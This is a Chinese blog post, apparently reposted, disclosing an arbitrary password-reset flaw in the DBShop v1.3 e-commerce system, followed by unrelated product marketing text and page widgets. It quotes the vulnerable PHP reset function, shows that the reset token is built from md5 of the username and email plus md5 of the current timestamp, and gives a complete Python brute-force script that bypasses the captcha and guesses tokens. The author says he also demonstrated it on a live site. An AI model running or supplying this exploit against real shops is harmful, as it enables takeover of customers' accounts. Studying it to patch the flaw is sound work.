Dbshop v1.3任意用户密码重置漏洞

0x00 前言

年也过的差不多了,各自也都回到岗位忙碌起来了,新的一年祝大家诸事顺利,洞洞高危!好了进入正题

 

0x01 漏洞简介

本次主要写个简单的逻辑漏洞!然后抛个Message 内置高危。

1、找回密码token爆破

0x02 漏洞分析

漏洞文件:\DBShop\module\Shopfront\src\Shopfront\Controller\UserController.php

漏洞函数:forgotpasswdAction

 

    public function forgotpasswdAction ()

    {

        if($this->getServiceLocator()->get('frontHelper')->getUserSession('user_id') != '')

            return $this->redirect()->toRoute('fronthome/default');

 

        $array = array();

        if($this->request->isPost()) {

            $postArray = $this->request->getPost()->toArray();

            $userInfo  = $this->getDbshopTable('UserTable')->infoUser(array('user_name'=>$postArray['user_name'], 'user_email'=>$postArray['user_email']));

            if(isset($userInfo->user_name) and $userInfo->user_name != '') {

                //生成唯一码及url

                $editCode    = md5($userInfo->user_name . $userInfo->user_email) . md5(time());

                $editUrl     = $this->getServiceLocator()->get('frontHelper')->dbshopHttpOrHttps() . $this->getServiceLocator()->get('frontHelper')->dbshopHttpHost() . $this->url()->fromRoute('frontuser/default', array('action'=>'forgotpasswdedit')) . '?editcode=' . $editCode;

                //发送的邮件内容

                $forgotEmail = array(

                    'send_user_name'=> $userInfo->user_name,

                    'send_mail'     => $userInfo->user_email,

                    'subject'       => $this->getServiceLocator()->get('frontHelper')->websiteInfo('shop_name') . $this->getDbshopLang()->translate('会员密码修改'),

                    'body'          => $this->getDbshopLang()->translate('亲爱的') . $userInfo->user_name . '<br>' . $this->getDbshopLang()->translate('您好,请点击下面的链接进行密码修改') . '<a href="'.$editUrl.'" target="_blank">'

                            . $this->getDbshopLang()->translate('点击修改密码 ') . '</a><br>' . $this->getDbshopLang()->translate('如果您无法点击修改链接,请复制下面的链接地址在浏览器中打开,完成密码修改 ') . '<br>' . $editUrl

                );

                try {

                    $this->getServiceLocator()->get('shop_send_mail')->toSendMail($forgotEmail);

                    $this->getDbshopTable('UserTable')->updateUser(array('user_forgot_passwd_code'=>$editCode),array('user_id'=>$userInfo->user_id));

                    $array['message'] = sprintf($this->getDbshopLang()->translate('已经向您的邮箱 %s 发送了一封邮件,请根据邮件内容完成新密码设定'), '<font color="red">' . $userInfo->user_email . '</font>');

                } catch (\Exception $e) {

                    $array['message'] = $this->getDbshopLang()->translate('无法向您的邮箱发送邮件,请联系管理员处理!');

                }

            } else {

                $array['message'] = $this->getDbshopLang()->translate('您输入的信息错误,没有匹配的会员信息!') . ' ' . $this->getDbshopLang()->translate('请重新输入') . '<a href="'.$this->url()->fromRoute('frontuser/default', array('action'=>'forgotpasswd')).'">' . $this->getDbshopLang()->translate('返回') . '</a>';

            }

        }

        

        return $array;

    }

 

这个就是找回密码的功能点,起初我看了下前端有校验验证码,然而不是在这个函数里面,可绕过。

这代码写的挺简陋的接受用户传入的post数据并赋值给$postArray数组,然后查询user_nameuser_email存在则直接发送一个找回密码的token到用户邮箱。

 

看一下生成token的过程

$editCode  = md5($userInfo->user_name . $userInfo->user_email) . md5(time());

非常简单的加密方式无非一个time()。举个例子也就是md5(test112test112@qq.com).md5(1550392236)。可爆破

 

0x03 漏洞演示

http://127.0.0.20/user/forgotpasswd

 

 

 

发送一个重置密码链接到用户邮箱,我们可以手工去爆破!

Response 返回包这里有响应时间

Date: Sun, 17 Feb 2019 09:22:24 GMT

然而令我懵逼的是为什么是09而不是17,不过我们直接把09换成当前的时间就ok了,经测试分和秒都是正确的。这里我在代码处加了var_dump调试,可以看到正确的时间戳和token

在线时间戳转换工具:https://tool.lu/timestamp/

 

 

1550395544这个是调试出来的时间戳,和我们推出来的完全相同,就算不同也绝不会有太大的误差,当然还是要根据自己网络情况来判断。

在线php代码调试:

http://www.dooccn.com/php/#id/9c4b55cf81232b9702f0f0baa6490846

 

 

这个是我们自己生成的

b06ec31dcd4f115c77b5399bd51ba2b1b0355a5184e195713ebdb3768b6e21ed

token

b06ec31dcd4f115c77b5399bd51ba2b1b0355a5184e195713ebdb3768b6e21ed

爆破成功。访问重置密码链接:

http://127.0.0.20/user/forgotpasswdedit?editcode=b06ec31dcd4f115c77b5399bd51ba2b1b0355a5184e195713ebdb3768b6e21ed

 

 

 

整个步骤完成,这个是我在本地环境演示的,当然遇到实际情况可能时间戳误差就会比较大。So写了一个脚本测试。

 

0x04 爆破脚本

#coding: gbk
import requests
import time
import hashlib

class DbshopBlastCode(object):

    def __init__(self,user,email,url):
        self.user=user
        self.email=email
        self.url=url
        self.head={
            "User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
            "Content-Type": "application/x-www-form-urlencoded",
            "Referer": "{0}/user/forgotpasswd".format(self.url),
            "Cookie": "PHPSESSID=ebiu1g0obrlf6m9i8cs1ep9bd0",
            "Upgrade-Insecure-Requests": "1"
        }
        self.request=requests.session()
        self.send()

    def buildExp(self):
        timeList=[i for i in range(self.nowTime-100,self.nowTime+10)]
        timeList.reverse()
        md5List=[]
        b = hashlib.md5()
        b.update(self.user+self.email)
        uMd5=b.hexdigest()
        for i in timeList:
            m = hashlib.md5()
            m.update(str(i))
            md5List.append(uMd5+m.hexdigest())
        self.md5List=md5List
        print(self.md5List)
        self.fuzz()

    def send(self):
        vailUrl="{0}/user/forgotpasswd".format(self.url)
        vailData="user_name={0}&user_email={1}&captcha_code=111".format(self.user,self.email)
        try:
            result=self.request.post(vailUrl,data=vailData,headers=self.head)
            if '<font color="red">'+self.email+'</font>' in result.content:
                self.nowTime=int(time.time())
                print('ok')
                self.buildExp()
            else:
                print('Url error http://hostname/. Url format is http://hostname ')
                print('false')
        except Exception as e:
            print(e)

    def fuzz(self):
        for i in self.md5List:
            url = "{0}/user/forgotpasswdedit?editcode={1}".format(self.url,i)
            try:
                result=self.request.get(url)
                if 'input type="password" id="user_com_passwd" class="span3" name="user_com_passwd" placeho' in result.content:
                    print(url)
                    return
            except Exception as e:
                print(e,'fuzz')
                return

DbshopBlastCode('test112','test112@qq.com','http://127.0.0.20')

这里http://127.0.0.20 末尾不能加/不然会导致路由错误(404文件不存在)

这里我找了个网站做个演示:

 

 

 

 

 

0x05 结束

 

转载于:https://www.cnblogs.com/ashe666/p/10399353.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
DBShop电子商务系统具备统一的系统设置、简单的商品管理、灵活的商品标签、强大的商品属性、方便的配送费用管理、自由的客服设置、独立的广告管理、全面的邮件提醒、详细的管理权限设置、整合国内外知名支付网关、完善的系统更新(可在线自动更新或手动更新)功能、细致的帮助说明、无微不至的在线教程……,使用本系统绝对是一种享受! DBShop开源电子商务网店系统采用业界知名框架 ZendFramework 2 开发而成。ZendFramework 2 为php 官方出品的顶级框架,安全性、灵活性、稳定性、及时性(更新),都是其他php框架无法比拟的,应该说只要php不倒 ZendFramework就不会倒,这也是其他php框架无法可比的。同时由于强大的特性,也使其学习成本很高,所以目前大家看到的ZendFramework 2 产品相对于其他框架的产品来说并不多。作者(DBShop系统作者)知道国内使用ZF2(ZendFramework 2简称)开发项目的公司有一些,开发产品的团队并且提供下载,似乎很少。DBShop电子商务系统就是其中之一,本系统开发团队都是比较资深的电子商务系统开发者,所以和目前的流行的系统相比,DBShop电子商务系统只是比较年轻而已。 DBShop电子商务系统,在网上建立自己的店铺、自己的销售网站的不二之选。强大的后台管理及简单的操作流程,让您一见倾心。带有国际范儿的前后台界面样式,让您一见舒心。严谨的功能结合、贴心的提示提醒、全面的学习教程,让您一用放心。 DBShop功能简介: 1、在线更新:在线系统更新和在线模板安装与更新,简单、方便、快捷,省却了手动更新的繁琐步骤。同时更新前系统会自动备份本次更新要被覆盖的文件,如果更新出错,可以手动恢复。 2、二维码:前台站点二维码与商品手机购买二维码显示。 3、手机短信提醒:整合阿里巴巴旗下 阿里大于 通讯平台(有些叫 阿里大鱼 ,不过看官网上显示是 阿里大于)。 4、电子邮件提醒:配合消息模板设置,方便灵活设置邮件提醒内容。 5、性能优化:压缩处理、前台缓存处理(目前只是本地缓存)。 6、系统附件:灵活的水印设置、商品图片上传处理,根据不同模板自动调整在上传图片时应有的尺寸。 7、附件存储:目前提供 本地存储、七牛云存储、阿里云存储 三种存储方式,用户可以任意选择,且不会对已上传附件造成任何影响。 8、第三方登录:QQ登录、微信网站登录、微信内登录、支付宝登录。 9、多货币功能:可添加多种货币并设置货币汇率,前台可方便切换货币显示。 10、支付:整合支付宝(包括移动版)、微信支付、PayPal支付、线下支付、货到付款。 11、配送:灵活的配送费用设置,通过公式化处理后,可以实现多种复杂的费用计算。同时整合 快递100 配送动态接口,可以实时查看货物的运输情况。 12、地区:系统安装时,可同时导入全国地区信息。 13、在线客服:可对前台客户进行分组,同时整合了 QQ、阿里旺旺、Skype ,方便的在前台页面悬浮显示。 14、模板更新:实时显示已经安装的模板的更新信息,可在线安装官方发布的最新模板,一键安装一键更新,并配有详尽的模板设置教程。 15、系统更新:按照先后顺序实时显示没有更新的更新包和补丁包。可在线更新、也可以手动下载更新包进行手动更新。 16、广告管理:广告跟随模板的变化而变化,因为每一套前台模板广告数量和所在的位置都不相同,所以我们进行了分离处理方式,即 模板间的广告相对独立,切换模板后,后台广告管理只显示当前模板所能设置的广告。 17、操作日志:记录后台所有的操作信息。 18、CMS功能:CMS的功能相对简单,里面提供了单页文章功能,方便用户设置内容。 19、商品功能:可选择多个商品分类、商品货号可自动生成、商品图片可以与编辑器(百度UEditor编辑器)的图片管理无缝整合、多种库存设置方案、规格组合方便灵活、商品属性最大限度展示商品、商品标签将不同商品聚合在一起显示,前台方便调用、同时还有组合商品、相关商品设置等。 20、商品属性:可预先设置不同产品的特殊信息,在添加商品时,方便调用。 21、商品标签:分为 普通商品标签、特定商品标签,其中特定商品标签与广告类似,跟模板变化,不同模板首页或者其他页面会调用一些特殊内容,所以进行标签化处理来整合内容显示。 22、促销规则:满减促销,可以设置不同客户组、不同商品分类、不同品牌、促销时间等。 23、订单功能:订单打印、订单价格修改、批量订单发货。 24、发货单:记录每一订单的发货信息,同时可以批量导出发货单,导出文件为excel文件。 25、支付记录:记录所有购买者的支付信息包括支付状态。 26、快递单号管理:可单独添加快递单号,也可以批量导入快递单号(导入文件为excel文件),方便管理者批量发货使用。 27、官方信息提醒:后台实时获取官方发布的最新更新信息,及其他最新动态。 28、移动模板:系统内容移动手机模板,可以通过手机访问。 DBShop开源电子商务网店系统 更新日志: DBShop V0.9.3 RC 2016-12-14 完美支持PHP7及以上版本 修正 客服样式1,在商品列表中,被商品遮盖的问题修正 修正 新客服样式中 客服组状态设置 及显示位置设置无效的问题 修正 当环境开启opcache时,出现的问题 修正 在线更新模板,在开启错误提示时,会出现错误信息的问题 修正 在线更新后,会把系统的安装日期,变为当前日期的问题 修正 在线客服样式2,在前台不能显示聊天工具图标问题 修正 js判断手机号码不能辨别170号码段的问题 优化 将https连接更新服务器,修改回http,https要求用户本地必须开启open_ssl扩展,增加了使用难度 优化 取消Logo上传尺寸的自动处理 优化 后台商品列表,加入商品分类的文字 优化 第三方登录,绑定已有用户时,默认取消用户名显示 优化 当系统版本高于模板支持的版本时,不显示模板更新信息
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值